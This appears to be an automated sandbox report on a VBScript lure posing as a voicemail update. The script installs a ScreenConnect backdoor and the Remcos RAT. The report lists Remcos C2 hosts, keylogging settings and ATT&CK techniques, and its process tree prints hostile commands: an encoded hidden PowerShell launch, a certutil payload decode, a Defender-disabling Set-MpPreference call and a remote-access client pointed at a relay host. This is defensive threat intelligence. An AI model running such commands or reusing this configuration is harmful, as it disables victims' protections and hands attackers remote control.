Overview

overview

10

Static

static

1

install-wi...il.vbs

windows10-2004-x64

10

install-wi...il.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 12:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    install-windows-update-to-play-voicemail.vbs
  • Size 7.2MB
  • Sample260930-pjvpxafa32
  • SHA256 2ea2157403e23b6607fc317c4136ac1c0292f2876f8dfac6fdce2cb1138ba228
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoorremotehostdefense_evasiondiscoveryexecutionremcospersistenceprivilege_escalationransomwareratrevoked_codesignsuricatatrojan

Malware Config

Extracted

Family

  • remcos

Version

  • 7.3.1 Pro

Botnet

  • RemoteHost

C2

  • www.remoteiconnect.com:2404

  • www.remoteiconnect1.com:2404

  • www.remoteiconnect2.com:2404

  • www.remoteiconnect3.com:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-28TLC7

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 7 IoCs

    Network activity triggered a Suricata alert

    suricataremcos
  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 16 IoCs

    Network activity triggered a Suricata alert

    suricataremcos
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 22 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Enumerates connected drives 3 TTPs 49 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 5 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 37 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • System policy modification 1 TTPs 2 IoCs
    defense_evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install-windows-update-to-play-voicemail.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c type nul > "C:\Users\Admin\AppData\Local\Temp\install-windows-update-to-play-voicemail.vbs:Zone.Identifier" 2>nul
      2⤵
      • Executes a command shell one-liner
      • NTFS ADS
      PID:2136
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4176
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4900
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:2948
      • C:\Windows\System32\certutil.exe
        "C:\Windows\System32\certutil.exe" -f -decode "C:\Users\Admin\AppData\Local\Temp\rad10344.tmp.b64" "C:\Users\Admin\AppData\Local\Temp\rad5A6A6.tmp_cert.bin"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:4400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AE0AVwBBAF8AUABBAFkATABPAEEARAAgAC0AVwBhAGkAdAA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3952
        • C:\Users\Admin\AppData\Local\Temp\payload.exe
          "C:\Users\Admin\AppData\Local\Temp\payload.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4872
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\491cc31c81cd4889\ScreenConnect.ClientSetup.msi"
            4⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:516
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3452
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9BDDC5A6B58E4B63BE22AD47FB651183 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA89F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240691437 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1992
      • C:\Windows\system32\srtasks.exe
        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
        2⤵
          PID:3756
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 9DE59B8501F058559E0EE3912A7C9ADC
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2900
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding E39F28E2166F194FD3E28A79E21A5CEB E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:3504
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:1824
      • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.cityofgadewater.com&p=8041&s=b252b4e7-07ec-4b76-9b82-e77a5cc0edcc&k=BgIAAACkAABSU0ExAAgAAAEAAQDlrwvxcSk3k6YeIXjb0IjYO9hs4nbcHzRLTw3IzmJ9diPItpSFmgf4H%2b%2fg0xWN5utkKo7sXqJO393%2f6HpVbbewm06zAF2Aj%2fZeo%2bgUVE0I9a2C3L74Sv02iIeBvicqFHPWnC8fR4qSIZDYWWqAVvozCFfzS4989DNXtx%2bnnZHANKe4X%2fDNsdMNGiWpY0UmDiimJmy1qKRVEYLrlaZVqhLb4bpHM%2fr0fKV3KHcJlQsng8Nnws93HbtRisKGAOvMrYpwke5eiCcvimwRMt57iCrASr06zhPmCcsA73cbhdTx5Qd4iDKhDBee3qXG5VVwD3k5IXqqDivmeZO7HBXVbqyi"
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe" "RunRole" "9c14066a-2113-40c1-a1c0-0556216aff04" "User"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:860
        • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe" "RunRole" "92f25380-7151-4f04-903c-b7062191dc90" "System"
          2⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:4996
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\ufDZTTP1DEanrun.cmd"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3808
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Enumerates connected drives
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3420
        • C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\32bit-remcos_a.exe
          "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\32bit-remcos_a.exe"
          2⤵
          • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
          • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
          • UAC bypass
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • System policy modification
          PID:452

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Privilege Escalation

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Defense Evasion

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Deobfuscate/Decode Files or Information

            1
            T1140

            Impair Defenses

            2
            T1562

            Disable or Modify Tools

            2
            T1562.001

            Modify Registry

            3
            T1112

            Credential Access

            Discovery

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            4
            T1012

            System Information Discovery

            5
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            System Network Configuration Discovery

            1
            T1016

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e58e78d.rbs
            • Path C:\Config.Msi\e58e78d.rbs
            • Size 214KB
            • SHA256 0356dd029704e1ddbedede79b918cf37bb738ecd91496af66cbdf52ce2552af2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.en-US.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Client.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsAuthenticationPackage.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe.config
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ScreenConnect.WindowsCredentialProvider.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            app.config
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\app.config
            • Size 508B
            • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            system.config
            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\system.config
            • Size 947B
            • SHA256 0b4f96f959654ef0768acfe20bda474a8b684243900840e6046ca0382885d504
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            MSIA89F.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\MSIA89F.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Microsoft.Deployment.WindowsInstaller.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSIA89F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Core.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSIA89F.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.InstallerActions.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSIA89F.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Windows.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSIA89F.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientSetup.msi
            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\491cc31c81cd4889\ScreenConnect.ClientSetup.msi
            • Size 9.5MB
            • SHA256 7c89fe36014e078e229a8050394dcfeae46fac58b5bdef240b34d800bd29f923
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            __PSScriptPolicyTest_ayntwg4k.czb.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ayntwg4k.czb.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            rad10344.tmp.b64
            • Path C:\Users\Admin\AppData\Local\Temp\rad10344.tmp.b64
            • Size 7.2MB
            • SHA256 c34253ae413b903faa078e871af2830195550ca0072fccf049c3fba8ad14f2a5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            rad5A6A6.tmp_cert.bin
            • Path C:\Users\Admin\AppData\Local\Temp\rad5A6A6.tmp_cert.bin
            • Size 5.4MB
            • SHA256 63e3142f8afedfb3b158b7a50930a10f8cc053d8b9e36588dfb3c43865aa341c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSIE943.tmp
            • Path C:\Windows\Installer\MSIE943.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            32bit-remcos_a.exe
            • Path C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\32bit-remcos_a.exe
            • Size 524KB
            • SHA256 dc85eb21db291759ca7d815ac9b22b226d499b0f4c123f449ac663f533673546
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ufDZTTP1DEanrun.cmd
            • Path C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\ufDZTTP1DEanrun.cmd
            • Size 71B
            • SHA256 0cc5eb4e43c86a2f6192ae90f02ef21f46315d87cae9a27070d5504a39d430fb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            metadata-2
            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.1MB
            • SHA256 3a51d0f64b886dbc5db39c1cb9f5383de8ff05734d7b9ca5ba314b25dd54ba82
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            {189f939f-94f4-4080-9721-8d177a53b465}_OnDiskSnapshotProp
            • Path \??\Volume{efdbfdc7-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{189f939f-94f4-4080-9721-8d177a53b465}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 fb267b4d1e460997a12bf328b483105c476d39ae70e9b70fd8e00fc6ad1945e8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/860-136-0x00000000024D0000-0x0000000002506000-memory.dmp
            Download

            memory/860-139-0x000000001B280000-0x000000001B30C000-memory.dmp
            Download

            memory/860-143-0x0000000002530000-0x0000000002548000-memory.dmp
            Download

            memory/860-142-0x0000000000BE0000-0x0000000000BF8000-memory.dmp
            Download

            memory/860-135-0x0000000000390000-0x0000000000428000-memory.dmp
            Download

            memory/860-141-0x000000001B670000-0x000000001B7F6000-memory.dmp
            Download

            memory/860-140-0x000000001B4C0000-0x000000001B66C000-memory.dmp
            Download

            memory/1992-50-0x0000000005250000-0x00000000052DC000-memory.dmp
            Download

            memory/1992-54-0x0000000005490000-0x000000000563C000-memory.dmp
            Download

            memory/1992-42-0x0000000005180000-0x00000000051AE000-memory.dmp
            Download

            memory/1992-46-0x00000000051B0000-0x00000000051BA000-memory.dmp
            Download

            memory/3052-114-0x0000000004180000-0x00000000041D0000-memory.dmp
            Download

            memory/3052-124-0x00000000044C0000-0x0000000004552000-memory.dmp
            Download

            memory/3052-126-0x0000000004210000-0x0000000004251000-memory.dmp
            Download

            memory/3052-122-0x00000000041D0000-0x0000000004206000-memory.dmp
            Download

            memory/3052-97-0x0000000003F10000-0x0000000003F28000-memory.dmp
            Download

            memory/3052-128-0x00000000046A0000-0x0000000004775000-memory.dmp
            Download

            memory/3420-175-0x00000221F0FB0000-0x00000221F0FB8000-memory.dmp
            Download

            memory/3420-176-0x00000221F0FE0000-0x00000221F0FE6000-memory.dmp
            Download

            memory/3420-177-0x00000221F0FF0000-0x00000221F0FFA000-memory.dmp
            Download

            memory/3420-172-0x00000221F0FA0000-0x00000221F0FAA000-memory.dmp
            Download

            memory/3420-174-0x00000221F1000000-0x00000221F101A000-memory.dmp
            Download

            memory/3420-166-0x00000221F0D80000-0x00000221F0D9C000-memory.dmp
            Download

            memory/3420-167-0x00000221F0DA0000-0x00000221F0E55000-memory.dmp
            Download

            memory/3420-168-0x00000221F0D70000-0x00000221F0D7A000-memory.dmp
            Download

            memory/3420-171-0x00000221F0FC0000-0x00000221F0FDC000-memory.dmp
            Download

            memory/3952-5-0x000001F272BA0000-0x000001F272BC2000-memory.dmp
            Download

            memory/4872-16-0x0000000005C30000-0x0000000005F22000-memory.dmp
            Download

            memory/4872-19-0x0000000005A70000-0x0000000005C1C000-memory.dmp
            Download

            memory/4872-17-0x00000000059A0000-0x0000000005A2C000-memory.dmp
            Download

            memory/4872-20-0x0000000006510000-0x0000000006AB4000-memory.dmp
            Download

            memory/4872-18-0x0000000005A50000-0x0000000005A72000-memory.dmp
            Download

            memory/4872-15-0x0000000005910000-0x0000000005918000-memory.dmp
            Download